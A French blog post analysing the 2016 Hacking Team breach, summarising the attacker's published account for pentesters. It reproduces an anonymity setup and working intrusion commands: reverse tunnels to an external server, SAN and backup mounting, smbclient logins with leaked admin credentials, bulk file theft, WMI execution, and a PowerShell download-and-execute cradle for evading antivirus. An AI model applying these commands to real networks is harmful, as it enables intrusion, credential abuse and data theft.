Bref rappel du contexte : Hacking Team[1] est une entreprise qui conçoit et vend des logiciels malveillants ready-to-use aux gouvernements afin d’espionner les journalistes, activistes, opposants, etc. En Juillet 2015, ils ont été victime d’une attaque qui a exposé leurs données internes (emails, clients, zéro-days, etc.) sur Wikileaks. Des exploit kits ont repris leurs zéro-days, des hackers leurs outils, mais un épais brouillard entourait le mode opératoire de l’attaquant …jusqu’à dimanche dernier en tout cas
En effet, une note[2] publiée
le 17 avril 2016 sur Pastebin par la personne prétendant avoir attaquée Hacking
team, explique en détail sa démarche, ses outils et les challenges rencontrés.
Certes ce type de publication est à prendre avec des pincettes, mais vu la
qualité de la note, la cohérence des propos et le niveau technique affiché,
cela vaut le détour ne serait-ce que pour deux ou trois astuces.
1.
Stay
safe
Mener une attaque réussie
requiert en premier lieu une infrastructure qui garantit l’anonymat.
L’attaquant décrit sa procédure classique :
- Location de serveurs privés dans un pays non susceptible de coopérer avec le pays de la cible (paiement en bitcoin) ;
- Utilisation du
réseau Tor afin de se connecter sur ce serveur privé ;
- Accès au réseau
Tor via le WiFi du voisin ou depuis un espace public dans l’idéal -
optionnel;
- Utilisation d’un système d’exploitation où tout est routé via Tor (Tails, Whonix, etc.) ;
- Déploiement de ce système d’exploitation sur une machine virtuelle hébergée sur une partition chiffrée avec TrueCrypt en Hidden volume.
Toutes les requêtes d’attaque
ont été menées depuis le serveur privé qui disposait d’une bande passante
suffisante pour mener un scan de port, récupérer 40Go de données de la cible,
etc.
Le réseau TOR -disposant
d’une faible bande passante - permettait de se connecter sur le serveur privé
afin d’exécuter des scripts d’attaque, de reconnaissance, etc.
L’utilisation d’un VPN en
amont du réseau TOR peut être une option intéressante mais il est nécessaire de
choisir un fournisseur[3] qui ne journalise pas les accès et qui ne serait pas
coopératif face à une demande de données :
- AirVPN ;
- AzireVPN ;
- Proxy.sh ;
- …
2.
Reconnaissance
Une fois l’infrastructure en
place, l’attaque a débuté avec, en premier lieu l’incontournable phase de cartographie
afin d’identifier l’ensemble des actifs de Hacking Team exposés sur Internet.
Ceci a été effectué de
manière classique via une série de whois, reverse whois,… en partant du nom de
l’entreprise, son adresse, le nom du registrar, etc.
Étant de petite taille,
Hacking Team n’expose que très peu de serveurs sur leur réseau externe 93.62.139.32 - 93.62.139.47.
- Site Web sur le CMS Joomla ;
- Serveur
Mail ;
- Appliance VPN ;
- Appliance Anti-Spam.
Dès lors trois options se
présentèrent à l’attaquant :
- Identifier une faille 0-day sur Joomla, un scan via l’outil joomscan n’ayant rien révélé ;
- Identifier une faille 0-day sur Postfix - outil populaire d’envoi de mails ;
- Identifier une faille 0-day sur les boitiers VPN.
3. La
valeur ajoutée d’une appliance
“a 0day in an embedded device seemed like the easiest option”,
cite l’attaquant dans sa note. Perturbant
en effet que de préférer s’attaquer à un système embarqué inconnu plutôt qu’à
un CMS dont l’historique en matière de sécurité laisse à désirer. Ceci dit, deux
semaines de recherche ont suffi à identifier une vulnérabilité de type
injection de code à distance sur l’appliance VPN…
Nous n’avons pas le détail de
la vulnérabilité, toutefois nous pouvons imaginer qu’il a suivi l’approche
suivante :
- Identification la version et référence du routeur (mire d’authentification, verbosité des bannières, etc.) ;
- Téléchargement le
firmware ou bien le récupérer via du hardware hacking ;
- Fuzzing du firmware et/ou inspection manuelle du code désassemblé ;
- Découverte de la faille.
Le blog devttys0[4] référence
nombre de techniques et d’outils afin de mener ce type d’attaques.
Suite à l’identification de
la faille, il affina son exploit en le testant sur d’autres équipements
vulnérables. Une fois au point, il le déploya sur Hacking Team et mit à jour le
firmware du VPN afin de s’accorder un accès root à distance.
Dès lors, il pouvait se
connecter légitimement sur le routeur sans risquer de causer une
indisponibilité suite à l’utilisation de l’exploit.
4.
Préparation
du camp de base
L’idée, une fois la première
machine compromise, était de charger les outils d’attaque sur ce qui allait
devenir le camp de base de l’attaque. Puisqu’il s’agissait d’un système
embarqué, il lui fallut recompiler l’ensemble des outils classiques pour
fonctionner sur le nouveau noyau :
- busybox : contient tous les outils classiques Unix parce que, je cite -I wanted to feel at home in Hacking Team's network-.
- Nmap : afin
d’effectuer les scans interne ;
- Tcpdump :
sniffeur réseau afin de récupérer le trafic transitant sur la carte réseau –
utile pour récupérer les mots de passe en clair ;
- Python : car
Ruby ne fait tout simplement pas l’affaire… ;
- Responder : outil d’interception des challenges NTLM ;
- Tgcd : un redirecteur de ports afin contourner le pare-feu en routant le trafic via les ports autorisés (détaillé par la suite).
Le schéma de l’attaque est
illustrée dans la figure suivante :
5.
NoAuthentication
Un scan du réseau interne
depuis le VPN compromis permit d’identifier des instances de la base MongoDB
qui hébergeaient les enregistrement audio et vidéo de leurs activités internes.
Par défaut, cette base de
données NoSQL ne requiert pas d’authentification (à l’instar de ses compères
par ailleurs) et permit donc à l’attaquant de récupérer l’ensemble des données
stockées dessus [5].
6.
Convergence
LAN-SAN
Le scan interne révéla un
autre élément intéressant : un équipement
exposant le port 3260. Ce dernier correspondait à une interface iscsi : un protocole permettant de
communiquer avec des systèmes de stockage (SAN) via IP.
Encore une fois, aucune
authentification ne protégeait l’accès aux systèmes de stockage ce qui permit à
l’attaquant d’accéder à l’ensemble du contenu hébergé dessus.
L’attaquant ne pouvait néanmoins
utiliser le VPN compromis pour exécuter les commandes iscsi, car les modules
noyaux nécessaires ne pouvaient pas facilement être déployés sur le système
embarqué en question.
À ce moment-là, L’attaquant
eût recours aux outils de redirection des flux : tgcd, NAT dans iptables,
etc.
7.
Tunneling
mode
L’idée était d’utiliser le
serveur privé de l’attaquant (externe) afin de communiquer en iscsi avec le
serveur de stockage (interne), en contournant évidemment le filtrage qui
interdisait ce protocole depuis l’externe.
L’attaquant utilisa pour cela
l’outil tgcd qui établit un tunnel entre deux machines avec redirection du
trafic d’un port vers un autre :
- Une instance présente sur le serveur privé (externe) tournait en mode Listen sur le port 42838 ;
o
tgcd -L -p 3260
-q 42838 (sur VPS_IP)
- Une seconde instance présente sur le routeur compromis (interne) se connecta à l’instance externe sur le port 42838, établissant ainsi un tunnel entre les deux machines.
o
tgcd -C -s
192.168.200.72:3260 -c VPS_IP:42838 (sur
le routeur)
- De ce fait, le trafic local initié sur le serveur privé (VPS) à destination du port local 3260 était redirigé vers le port 3260 du SAN de Hacking team en passant par le tunnel.
Deux points clés intéressants
à propos de cette technique :
Le tunnel est
initié par le routeur compromis ce qui permet de contourner les règles de
filtrage, qui sont plus généralement plus laxistes envers les flux sortants.
·
Il est possible
d’utiliser les outils présents sur le serveur privé sans nécessité de les
recompiler;
Pour information une version précompilée de TGCD est
disponible sur l’environnement Windows [6]
8.
Récupération
des mails
Suite à l’établissement du
tunnel, l’utilitaire iscsiadm pouvait être exécuté sur le serveur privé
afin de se connecter de manière transparente sur le SAN .
$ iscsiadm -m node
--targetname=iqn.2000-01.com.synology:synology-backup.name -p 127.0.0.1 –login
La commande précédente a créé
localement le device /dev/sdb1 qui pointait vers le bloc de données au niveau
du SAN.
Il était possible ensuite de
monter de manière standard cette partition via vmfs-fuse:
$ vmfs-fuse –o ro /dev/sdb1 /mnt/tmp
Le SAN contenait des
sauvegardes de machines virtuelles, dont le serveur de messagerie. S’agissant
du format VMDK, il était nécessaire de localiser en premier lieu l’offset de la
partition à monter :
$ losetup /dev/loop0
Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
L’offset étant de 2048 * 512 = 1048576 il était possible de monter le disque via les commandes :
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
En parcourant le répertoire monté /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311,
L’attaquant y découvrit le disque VHD d’une sauvegarde du serveur Exchange :
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
Ceci lui donna donc accès à
une partie des mails sauvegardés sur le SAN.
9.
Escalade
de privilèges
Ayant accès aux sauvegardes
des machines virtuelles, l’attaquant inspecta les clés de registres via
cachedump, pwdump, ... à la recherche d’authentifiants : le compte
d’administration des serveurs BlackBerry, besadmin ainsi que son mot de passe
furent récupérés ainsi.
Il rejoua ces authentifiants
via la connexion sur le partage c$ du serveur Exchange (via proxychains afin de
rediriger l’ensemble des flux vers un second tunnel)
proxychains
smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
Bingo, le compte besadmin
possédait les privilèges d’administration locale sur le serveur, il était donc
possible de déchiffrer les mots de passe présents dans la mémoire du process
lsass.exe et ainsi récupérer le compte admin de domaine :
10. Récupération des données
Une fois admin du domaine,
l’attaquant s’est amusé à parcourir l’ensemble des partages réseaux et postes
de travail à la recherche d’information sensibles.
proxychains smbclient '//192.168.1.230/FAE
DiskStation' -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc
FAE_DiskStation.tar '*'
Il évoque dans sa note
différentes astuces facilitant la récupération d’information, mais qui
partagent toutes un seul point commun: Powershell..(avec quelques modules comme
PowerTools).
·
Récupération de
la liste de l’ensemble des fichiers présents sur tous les partages :
Invoke-ShareFinderThreaded
-ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
·
Extraction des
mails[7] :
New-MailboxExportRequest
-Mailbox Administrator -FilePath \\AZUA\Exports\Administrator.pst
·
Récupération des
fichiers sharepoint [8]
11. Al ponte
Malgré la quantité de fichiers
récupérée sur le domaine Windows, il manquait toujours le golden egg de
Hacking Team : le code source de leur outil de surveillance Galileo. Ce
dernier, selon la documentation récupérée, serait hébergé sur le réseau
Sviluppo. Afin d’y accéder l’attaquant a ciblé les postes des administrateurs
Mauro Romeo et Christian Pozzi.
Le poste de Mauro n’exposant
pas de ports accessibles, l’attaquant a dû mettre à jour les règles firewall
via GPO afin d’autoriser le service WMI, qui contrairement à Psexec laisse peu
de traces sur le système et ne déclenche pas d’alertes au niveau des antivirus.
WMI peut être exécuté via un
script faisant partie de la bibliothèque Impacket :
wmiexec.py HACKINGTEAM/Administrator:uu8dd8ndd12!@xx.xx.xx.xx
La console WMI présentait une
invite de commande qui a été utilisée pour charger du Powershell en mémoire
depuis une machine distante afin de contourner l’antivirus :
cmd.exe /c powershell iex
(New-Object
Net.WebClient).DownloadString('http:///Machine_compromise_avec_PS_malveillant');
Ce script malveillant peut
être un meterpreter, mimikatz, la suite nishang[9], PowerSploit[10], etc.
Une fois sur le poste de
Mauro, l’attaquant enregistra les frappes clavier de ce dernier ainsi que son
activité sur l’écran. Il découvrit ainsi la présence d’un volume Truecrypt et
attendit patiemment que Mauro le déchiffre de plein gré avant d’inspecter son
contenu.
Il y trouva un fichier texte
contenant un mot de passe[10] qui permettait d’accéder à l’interface Web du
serveur Nagios utilisé pour surveiller le réseau de Sviluppo.
12. Récupération du code source de Galileo
L’interface Web divulguait la
présence du produit Centreon Entreprise Server. La version déployée présente de
multiples failles publiques (SQLi + Remote Code Execution) qui nécessitent
toutefois d’avoir une session active en cours, d’où l’intérêt de la
récupération du mot de passe dans l’étape précédente.
Une fois sur le serveur
Nagios, l’attaquant avait accès au réseau de développement et put accéder au
github privé de l’entreprise. Il réutilisa le mot de passe Windows d’un
développeur et accéda ainsi au code source de Galileo.
Game over…
13. Conclusion
Côté Pentest, nous retrouvons
dans la démarche présentée beaucoup d’outils et techniques que nous utilisons régulièrement…d’autres
un peu moins : bases NoSQL, SAN, WMI, etc.
Au final cela fait un
scénario d’attaque intéressant à garder en tête.
Terminons ce focus sur une
phrase emblématique de l’attaquant : “
Thanks to hardworking Russians and their exploit
kits […] Almost all of the Fortune 500, with their huge networks, have some bots
already inside”.
Références :
Ayoub ELAASSAL
Aucun commentaire:
Enregistrer un commentaire